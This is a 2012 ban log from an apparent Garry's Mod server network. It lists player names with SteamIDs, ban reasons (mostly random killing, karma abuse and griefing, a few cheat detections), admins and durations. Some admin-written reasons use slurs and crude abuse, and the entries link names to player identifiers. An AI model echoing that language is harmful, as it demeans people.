+1:0:0 Unbanned +3:46 am 23-02-12 Jellyfish donuts with seaweed STEAM_0:0:11857187 +RDM +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +3:37 am 23-02-12 TheOmegaMan STEAM_0:0:3091328 ' Wanted to kill an +inno ' +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +9:07 pm 22-02-12 Unknown STEAM_0:0:34510726 Ruining puzzle progress +then leaving Norzone Fretta|Tigergruppe Kommand Puzzle 0:16:40 +Unbanned +8:59 pm 22-02-12 My^Little^Pwny^ STEAM_0:0:18659740 Griefing +Norzone Fretta|Tigergruppe Kommand Puzzle 0:16:40 Unbanned +6:07 pm 22-02-12 [AB]DogFighter STEAM_0:1:10407877 RDM ignoring +admin. +[SP]+ Danzomanzo Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +5:18 pm 22-02-12 Olololadin STEAM_0:1:22327 mass rdm and karma ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +1:15 pm 22-02-12 Gentlespy STEAM_0:0:41565508 Stupid along with a +pinch of Rdm MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +7:08 pm 21-02-12 xXdarcyXx STEAM_0:1:11364923 Alt of banned ID +STEAM_0:1:45424776 (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +5:36 pm 21-02-12 Unknown STEAM_0:1:19147578 rdming and KARMA!!! ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +4:49 pm 21-02-12 the voice of freedom STEAM_0:1:39441439 karma +retared and rdming lastnight +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:0:0 Unbanned +8:59 pm 20-02-12 Unknown STEAM_0:1:8849761 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:58 pm 20-02-12 Unknown STEAM_0:1:47248552 rdming alot +mic spam and +karma and left +[SP]+ Hatcake Fretta|Tigergruppe Kommand The +Stalker 6:22:40 Unbanned +4:42 pm 20-02-12 Unknown STEAM_0:0:41202056 mass rdm karma and left ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +4:20 am 20-02-12 Unknown STEAM_0:1:25266961 Shitlord #2 (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +4:20 am 20-02-12 Unknown STEAM_0:1:41166973 Shitlord (Console) +Official Zombified World|Lvl Cap +10 Zombified World Permanent Banned +10:12 pm 19-02-12 nerzull STEAM_0:0:39399660 Alt of banned ID +STEAM_0:1:31713955 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:56 pm 19-02-12 Unknown STEAM_0:0:27421000 RDM then leaving Aion +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 Unbanned +3:16 pm 19-02-12 ukrop STEAM_0:0:41668933 Prop pushing Snow +Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 Unbanned +2:09 pm 19-02-12 Unknown STEAM_0:0:34126498 +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +12:19 am 19-02-12 Sgt. Pepper STEAM_0:0:13324704 Mass RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +7:0:0 Unbanned +9:43 pm 18-02-12 Unknown STEAM_0:0:2173520 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +9:02 pm 18-02-12 FUCK YE. STEAM_0:0:31718743 rdmimg alot +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +8:44 pm 18-02-12 Unknown STEAM_0:0:22369619 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:19:20 Unbanned +7:06 pm 18-02-12 Arch Angel STEAM_0:0:42922995 fuck off come back +when you have a brain - extended by Flapadar MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 31:0:0 Unbanned +5:23 pm 18-02-12 Unknown STEAM_0:1:28550945 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:2:0 +Unbanned +3:09 pm 18-02-12 RECKO STEAM_0:1:15913834 mass rdming +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 1:9:10 Unbanned +2:48 pm 18-02-12 Unknown STEAM_0:0:20156911 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +1:15 am 18-02-12 Unknown STEAM_0:0:21713004 causeing mass rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +1:12 am 18-02-12 agallasâ??λмεиÄ?Ñ?żâ?? STEAM_0:0:21713004 ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:5:0 Unbanned +1:01 am 18-02-12 Unknown STEAM_0:1:9940783 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:56 am 18-02-12 Unknown STEAM_0:0:18653824 mass rdm, karma, left +after being questioned +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:9:20 Unbanned +12:51 am 18-02-12 Jevvy<3 STEAM_0:0:12639167 mass rdm as the D oh and +the last round too +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 3:11:20 Unbanned +10:01 pm 17-02-12 .â?¢Â°lol the one°â?¢. STEAM_0:1:32425210 +glitching MAD MANN Fretta|Tigergruppe Kommand Zombie Onslaught +0:0:20 Unbanned +9:04 pm 17-02-12 Ben STEAM_0:0:16723266 RDM at the beginning of the +round +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:16:40 Unbanned +9:04 pm 17-02-12 Air Conditioner STEAM_0:0:30174673 RDM as D. +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:2:0 Unbanned +7:47 pm 17-02-12 λBenderλ STEAM_0:1:4293436 RDM +[SP]+ EDDIE +STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 +Unbanned +7:30 pm 17-02-12 Unknown STEAM_0:1:83858 DDoS this Snow Official +Zombified World|Lvl Cap +10 Zombified World Permanent Banned +6:19 pm 17-02-12 UteliggarN STEAM_0:1:31734441 RDMing Snow +Fretta|Tigergruppe Kommand Trouble in Terrorist Town Permanent Banned +4:20 pm 17-02-12 [TTC] Jorikito STEAM_0:1:14356719 Alt of banned ID +STEAM_0:0:46563870 (Console) Fretta|Tigergruppe Kommand Dogfight: +Arcade Assault Permanent Banned +2:59 pm 17-02-12 Unknown STEAM_0:1:48854608 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:35 pm 17-02-12 Unknown STEAM_0:1:10348067 mass rdm then left and +was warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +12:04 am 17-02-12 Retundro STEAM_0:0:35712887 rdiming as the D and +this is not your first time being an ass +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +10:59 pm 16-02-12 [mau5] Rapid Strike STEAM_0:1:7308244 RDMing again +even after warnings +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:16:40 Unbanned +10:51 pm 16-02-12 Unknown STEAM_0:1:7197611 mass rdm then left +without full punishment +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 0:21:40 Unbanned +10:21 pm 16-02-12 Unknown STEAM_0:1:42912048 RDM after everyone was +warned by me and joe then left to get out of it +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +10:19 pm 16-02-12 PIG3ONKILL3R STEAM_0:0:30530776 rdm after everyone +was warned by joe and i +[SP]+ Hatcake Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:0:0 Unbanned +6:58 pm 16-02-12 Unknown STEAM_0:1:23374647 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +5:16 pm 16-02-12 sammysoc70 STEAM_0:0:36363824 RDM Random people! ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:16:40 Unbanned +4:52 pm 16-02-12 MarcymmmKay STEAM_0:1:24734830 Stealing weapons +during faction war and ignoring amdin Llixo Official Zombified +World|Lvl Cap +10 Zombified World 0:0:0 Unbanned +1:01 am 16-02-12 λOrangeknightλ STEAM_0:0:39892960 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:43 pm 15-02-12 Unknown STEAM_0:0:18144019 rdm then left + +timewasteing and glitching and retarded +[SP]+ Hatcake +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +12:15 pm 15-02-12 Unknown STEAM_0:1:46049460 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +12:14 pm 15-02-12 Unknown STEAM_0:1:46049460 RDM then left. +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:12:0 Unbanned +11:45 am 15-02-12 countersniper STEAM_0:1:36099251 mass RDM as the D. +did you have fun? +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:18:40 Unbanned +10:32 pm 14-02-12 MetricCaboose STEAM_0:0:46700034 rdming fellow T +' s +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 2:0:0 Unbanned +7:38 pm 14-02-12 [JS]the lucky man STEAM_0:0:29970234 killing traitor +team +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:0:0 Unbanned +7:17 pm 14-02-12 PARKOUR DK STEAM_0:0:40386467 disrespecting admin +the RDMing him +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 2:0:0 Unbanned +5:34 pm 14-02-12 Aegis STEAM_0:0:23168403 Prop killing Llixo +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:40 Unbanned +4:01 pm 14-02-12 пипеÑ?! STEAM_0:0:43695226 rdm then avoided +slay +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +3:53 pm 14-02-12 Unknown STEAM_0:1:41025810 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +3:40 pm 14-02-12 Unknown STEAM_0:0:17058321 Anal raping ZW rules +Llixo Official Zombified World|Lvl Cap +10 Zombified World +Permanent Banned +3:34 pm 14-02-12 Hunter STEAM_0:0:40596784 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:10 pm 14-02-12 Hendruuk1 STEAM_0:1:31952231 RDM +[SP]+ Marked One +[SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:12:30 +Unbanned +11:16 pm 13-02-12 Awesome Sauce STEAM_0:1:27116960 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:49 pm 13-02-12 Unknown STEAM_0:0:30611686 left while under attack +MAD MANN Official Zombified World|Lvl Cap +10 Zombified World +3:11:20 Unbanned +8:53 pm 13-02-12 My Alcoholic Dad STEAM_0:1:39204273 I am detective +and I RDM that is sooo wrong! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 1:9:20 Unbanned +8:51 pm 13-02-12 Unknown STEAM_0:0:17086047 prop pushing and killing +( rdm ) +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +8:35 pm 13-02-12 jonnytorres1516 STEAM_0:0:41202056 KARMA babes ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +8:30 pm 13-02-12 Oggy STEAM_0:1:35444615 offensive spray, RDM +[SP]+ +EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +2:38 pm 13-02-12 Unknown STEAM_0:1:41842079 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +7:54 pm 12-02-12 My Alcoholic Dad STEAM_0:1:39204273 immature spam ++[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:1:40 Unbanned +7:49 pm 12-02-12 Wolfer210 STEAM_0:0:29884917 troll, rdming Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:42 pm 12-02-12 My Alcoholic Dad STEAM_0:1:39204273 come back when +you stop rdming +[SP]+ EDDIE STONE Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 0:0:5 Unbanned +6:15 pm 12-02-12 Unknown STEAM_0:1:39157075 RDM and left MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:18:40 Unbanned +5:53 pm 12-02-12 the sfaa7 STEAM_0:0:42044871 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +5:44 pm 12-02-12 TC SpeedFreak STEAM_0:1:23194246 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +2:35 am 12-02-12 My Ass STEAM_0:0:19430923 mass RDM and is a asshole +and like wow man fucking banned +[SP]+ Hatcake Fretta|Tigergruppe +Kommand Trouble in Terrorist Town 6:22:40 Unbanned +2:25 am 12-02-12 [UGC] Tomoya STEAM_0:0:19281764 rdming + time +wasting CUNT +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 1:0:0 Unbanned +12:56 am 12-02-12 Unknown STEAM_0:1:30754890 Cheat: integra +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:56 am 12-02-12 Unknown STEAM_0:0:20220663 Cheat: speedhack +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:39618012 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:22917225 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:8731533 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:36831604 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:45008543 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:24320781 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:26312585 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:43100738 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:0:12012182 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:48308696 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:31775427 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:13737877 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +12:53 am 12-02-12 Unknown STEAM_0:1:11427632 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand FortwarsX Permanent Banned +2:14 pm 11-02-12 psychockey STEAM_0:0:8855027 DODDs this +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Surf 6944:10:39 Banned +12:40 pm 11-02-12 tolli ^IK^[ISG] STEAM_0:1:16486142 rdm +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:35 pm 10-02-12 cristiano-ronaldo STEAM_0:0:24302599 RDM Traitor +Buddy! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +7:10 pm 10-02-12 â?­ [RUS] моÑ?Ñ?еÑ?Ñ?Ñ?Ñ?Ñ?Ð STEAM_0:1:18314511 +RDM Shooting people in the head with no reason +[SP]+ JoE CrAcKeR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +6:47 pm 10-02-12 Master of Illusionâ?¢ STEAM_0:0:39231690 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:46 pm 10-02-12 Master of Mysticismâ?¢ STEAM_0:0:42741786 mass rdm ++[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +6:21 pm 10-02-12 Unknown STEAM_0:0:41901764 rdm then left + +KARMA!!!! +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 2:18:40 Unbanned +4:22 pm 10-02-12 NLSandro STEAM_0:1:48172552 rdm Arsehole extreme +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +1:29 pm 10-02-12 +[SP]+ Velo STEAM_0:1:26489227 +[SP]+ SFAriel +Fretta|Tigergruppe Kommand Gamemaster 0:0:1 Unbanned +12:19 am 10-02-12 Unknown STEAM_0:1:34160141 Extended. (And extended +again by flapadar) (Console) Official Zombified World|Lvl Cap +10 +Zombified World Permanent Banned +9:56 pm 09-02-12 -[PS]-Nochie-Ironcupcake STEAM_0:0:48325709 RDM +LoVe WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:30 Unbanned +9:56 pm 09-02-12 Self Consciousness STEAM_0:1:34160141 rdming - +extended by flapadar Ruby Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +9:39 pm 09-02-12 Black Man in America STEAM_0:1:36728992 RDM ' s +Ruby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 +Unbanned +9:14 pm 09-02-12 Cocksikle Lord |Õ©Ñ?| STEAM_0:0:41846312 RDM ' s +Ruby Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:13 pm 09-02-12 Unknown STEAM_0:1:39186083 RDM ' s and left Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:08 pm 09-02-12 S!ber STEAM_0:0:28545861 rdm Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:10:0 Unbanned +8:57 pm 09-02-12 :D lol :D STEAM_0:1:32425210 prop push RDM! LoVe +WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 +Unbanned +8:49 pm 09-02-12 Me, Mario! STEAM_0:0:24064507 RDM! LoVe WaRrIoR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:0:30 Unbanned +8:26 pm 09-02-12 Advanced Creativity STEAM_0:1:25675380 karma Ruby +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:8:20 Unbanned +6:21 pm 09-02-12 them STEAM_0:0:5868669 I RDMED uhhhh yaaaa +[SP]+ +JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:2:5 Unbanned +5:49 pm 09-02-12 Unknown STEAM_0:1:24049485 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Zombie Onslaught 1:0:0 Unbanned +4:37 pm 09-02-12 Unknown STEAM_0:0:40328785 rdm then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +4:17 pm 09-02-12 Unknown STEAM_0:0:40528036 prop push and kill after +being warned +[SP]+ Hatcake Fretta|Tigergruppe Kommand Deathrun +0:8:20 Unbanned +9:39 pm 08-02-12 ghostopo STEAM_0:0:41580067 RDM Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:34 pm 08-02-12 kalin210 STEAM_0:0:45416672 Goodbye trolling rdming +not friend Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 1:0:0 Unbanned +8:32 pm 08-02-12 eXterminaTion MX STEAM_0:1:26228710 RDM UHHH JA! +LoVe WaRrIoR Fretta|Tigergruppe Kommand Trouble in Terrorist Town +0:1:0 Unbanned +7:08 pm 08-02-12 le lajty STEAM_0:0:17698960 RDM LoVe WaRrIoR +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 Unbanned +5:26 pm 08-02-12 Unknown STEAM_0:1:41666514 RDM then left +[SP]+ +Hatcake Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 +Unbanned +2:57 pm 08-02-12 Unknown STEAM_0:0:40596784 RDM + Disconnect +[SP]+ +Marked One [SK] Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:17:40 Unbanned +2:28 pm 08-02-12 Ð?лÑ?беÑ?Ñ? Ð?еÑ?кеÑ? STEAM_0:1:46521132 +Constant RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand +Trouble in Terrorist Town 1:17:40 Unbanned +10:21 pm 07-02-12 [Gmod.biZ] Arbiter [PT] STEAM_0:1:37139098 RDM ++[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:2:0 Unbanned +6:52 pm 07-02-12 Teddy :D STEAM_0:0:20369356 RDM (you should have +been scared) Joo. Fretta|Tigergruppe Kommand Trouble in Terrorist +Town 0:0:0 Unbanned +6:07 pm 06-02-12 Unknown STEAM_0:1:35126314 2 rdms and left MAD +MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:9:20 +Unbanned +5:07 pm 06-02-12 Unknown STEAM_0:1:42934133 RDM and being a asshole +to him and admin +[SP]+ Hatcake Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:2:0 Unbanned +8:58 pm 05-02-12 DarKness STEAM_0:1:23503107 Alt of banned ID +STEAM_0:0:45523007 (Console) Fretta|Tigergruppe Kommand Dogfight: +Arcade Assault Permanent Banned +6:18 pm 05-02-12 Pootis Pow! STEAM_0:0:47215367 Mass RDM! +[SP]+ JoE +CrAcKeR Fretta|Tigergruppe Kommand Trouble in Terrorist Town 0:1:0 +Unbanned +9:36 pm 04-02-12 laurieampomah STEAM_0:1:47665160 glitching the +game! +[SP]+ JoE CrAcKeR Fretta|Tigergruppe Kommand Trouble in +Terrorist Town 0:0:20 Unbanned +9:01 pm 04-02-12 Unknown STEAM_0:1:8475562 Mass mass mass RDM +Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town 10:0:0 +Unbanned +7:42 pm 04-02-12 Epic STEAM_0:0:4856909 Team killing for weapons +Cutie Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 +Unbanned +7:41 pm 04-02-12 Unknown STEAM_0:0:29413573 Faction exploiting +Cutie Official Zombified World|Lvl Cap +10 Zombified World 10:0:0 +Unbanned +7:12 pm 04-02-12 killer222 STEAM_0:0:46256392 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:09 pm 04-02-12 Nate STEAM_0:1:24297812 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +7:08 pm 04-02-12 [`xÃ?']UberTrololololololololol STEAM_0:1:36728992 +Karma - RDM +[SP]+ Marked One [SK] Fretta|Tigergruppe Kommand Trouble +in Terrorist Town 1:0:0 Unbanned +7:05 pm 04-02-12 [ Ss ] Dramatic Look Heavy STEAM_0:1:39204273 RDM ++[SP]+ Anime Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:9:20 Unbanned +7:01 pm 04-02-12 the sfaa7 STEAM_0:0:42044871 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:2:0 Unbanned +1:38 pm 04-02-12 Unknown STEAM_0:0:16224394 Moving base while under +attack +[SP]+ Anime Official Zombified World|Lvl Cap +10 Zombified +World 0:10:0 Unbanned +5:42 pm 03-02-12 Unknown STEAM_0:1:19147578 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 2:0:0 Unbanned +10:38 pm 02-02-12 Cube STEAM_0:1:34627948 rdm Joo. +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:53 pm 02-02-12 Unknown STEAM_0:0:32689725 same as oggy MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:53 pm 02-02-12 Unknown STEAM_0:0:32689725 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:51 pm 02-02-12 Unknown STEAM_0:1:35444615 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 3:11:20 Unbanned +9:08 pm 02-02-12 hand solo STEAM_0:1:19329360 Troll, rdm and so on +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +Permanent Banned +4:42 pm 02-02-12 ANARCHY99 STEAM_0:0:1204571 RDM +[SP]+ Anime +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +9:07 pm 01-02-12 ANGEL (LEVY) STEAM_0:0:40282348 RDM +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +9:05 pm 01-02-12 CommanderShepard STEAM_0:1:32256280 Propkilling and +general idiot. Nemesis Official Zombified World|Lvl Cap +10 Zombified +World 5:0:0 Unbanned +4:20 pm 01-02-12 Scofield le chauve ;) STEAM_0:1:26642523 mass rdm +MAD MANN Fretta|Tigergruppe Kommand Trouble in Terrorist Town +3:11:20 Unbanned +4:15 pm 01-02-12 the sfaa7 STEAM_0:0:42044871 rdm MAD MANN +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +1:04 pm 01-02-12 agent smith STEAM_0:1:41088870 Leaveing during a +faction war +[SP]+ Anime Official Zombified World|Lvl Cap +10 +Zombified World 0:16:40 Unbanned +12:41 am 01-02-12 Unknown STEAM_0:0:37652794 RDM x4 and Left +Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town 4:0:0 +Unbanned +12:30 am 01-02-12 Unknown STEAM_0:0:19155621 Troll and RDM somewhere +else. Nemesis Fretta|Tigergruppe Kommand Trouble in Terrorist Town +5:0:0 Unbanned +7:40 pm 31-01-12 Ollie STEAM_0:0:30709335 RDMing fellow T +[SP]+ +Danzomanzo Fretta|Tigergruppe Kommand Trouble in Terrorist Town +2:0:0 Unbanned +6:42 pm 31-01-12 Rexiwul STEAM_0:1:33630596 RDM +[SP]+ Gearyâ?¢ +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +4:21 pm 29-01-12 Ihatex STEAM_0:1:19147578 And you are banned, for +RDMing Cutie Fretta|Tigergruppe Kommand Trouble in Terrorist Town +1:0:0 Unbanned +4:13 pm 29-01-12 SaschaS STEAM_0:1:39618061 RDM Cutie +Fretta|Tigergruppe Kommand Trouble in Terrorist Town 1:0:0 Unbanned +11:15 am 29-01-12 Unknown STEAM_0:0:38893214 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:29886937 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:0:19293437 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:19348310 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:26819163 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:15 am 29-01-12 Unknown STEAM_0:1:17042971 Cheat: Code Injection +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +11:12 am 29-01-12 Unknown STEAM_0:0:32070437 Cheat: faggot (poki) +(Console) Fretta|Tigergruppe Kommand Deathrun Permanent Banned +9:50 am 29-01-12 Www.VoltageHack.webs.com + STEAM_0:1:40922503 Alt of banned ID +STEAM_0:0:40143824 (Console) Fretta|Tigergruppe Kommand Trouble in +Terrorist Town Permanent Banned +12:56 am 29-01-12 PartyRockâ?¢ STEAM_0:0:30611686 Faction +Exploiting Argonian Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned +12:55 am 29-01-12 {RND}uberransy STEAM_0:1:36928422 Faction +Exploiting Argonian Official Zombified World|Lvl Cap +10 Zombified +World 7:0:0 Unbanned 